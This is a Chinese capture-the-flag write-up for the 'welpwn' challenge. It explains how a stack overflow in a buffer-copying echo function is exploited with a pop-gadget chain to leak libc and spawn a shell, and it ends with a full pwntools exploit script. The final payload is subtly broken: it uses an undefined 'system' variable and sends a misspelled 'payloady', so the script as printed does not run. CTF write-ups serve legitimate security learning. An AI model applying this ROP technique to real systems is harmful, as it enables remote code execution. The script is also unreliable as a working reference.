打开于2023年9月11日13:39:59
完成于2023年9月12日23:30:32
这道题目很巧妙
checksec检查, 没有开启什么保护
首先来看主函数, 用read
函数来做一个输入, buf
的大小为1024
, read
也是输入1024
, 这里没有可利用的点存在.
跟进echo
函数看一下, 在该函数中会将buf
复制到s2
中, s2
的大小是16. 复制过程通过for
循环来完成. for
循环的结束条件是*(_BYTE *)(i + a1) == 0
.
程序的漏洞点就在echo
函数中, 因为将buf
复制给s2
的过程中可以造成溢出. 通过此处的溢出来完成一系列操作.
首先, 因为程序中并没有可以利用的system
等, 所以需要通过write
或puts
来泄漏libc地址
其次, 由于for
循环的结束条件限制, 构造的payload会被截断. 因为p64
地址中存在00
填充字符. 如果直接构造payload = b'a' * 16 + b'a' * 8
这样来覆盖echo
的返回地址, 并不会成功, 之后保留第一个执行地址, 后面的都会被断掉.
在调试过程中发现s2
和buf
在栈中相距0x20
即32, 而且他们之间隔着的是echo rbp
和echo ret
. 在这里可以利用pop|ret
来绕过复制过程中的截断.
如下图所示, 首先s2
的大小是16, 现在构造这样的payload = buf = b'a' * 24 + pop_4_ret + pop_rdi + write_got + puts_plt + main_addr
, 那么在复制过程中会在会将pop_4_ret
之前的(包括pop
)复制到s2的栈中, 会将echo rbp
, echo ret
给覆盖掉, echo ret
变成了pop_4_ret
, echo
在返回时执行pop_4_ret
, 通过四次pop
操作, 将栈中接下来的a * 24 + pop_4_ret
(图中红色部分)出栈, 然后跳转开始执行pop_rdi
这部分payload
, 来泄漏地址.
通过ROPgadet
在程序中找到pop
片段的起始地址为0x40089C
–>pop_4_ret = 0x40089C
然后通过LibcSearcher
由上述payload
泄漏出的地址找到对应的libc
, 利用libc
中的system
等来getshell
. 第二次溢出getshell
的payload
与泄漏libc
的相似.
完整exp如下所示.
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
elf = ELF('./welpwn')
sh = process('./welpwn')
main_addr = 0x4007CD
pop_rdi = 0x4008A3
pop_4_ret = 0x40089C
write_plt = elf.plt['write']
write_got = elf.got['write']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = b'a' * 16 + b'a' * 8 + p64(pop_4_ret) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)
sh.sendlineafter(b'RCTF', payload)
sh.recvuntil(b'\x40')
write_addr = u64(sh.recv(6).ljust(8, b'\x00'))
print(hex(write_addr))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
sh.recvuntil('\n')
payload = b'a' * 16 + b'a' * 8 + p64(pop_4_ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system)
sh.send(payloady)
sh.interactive()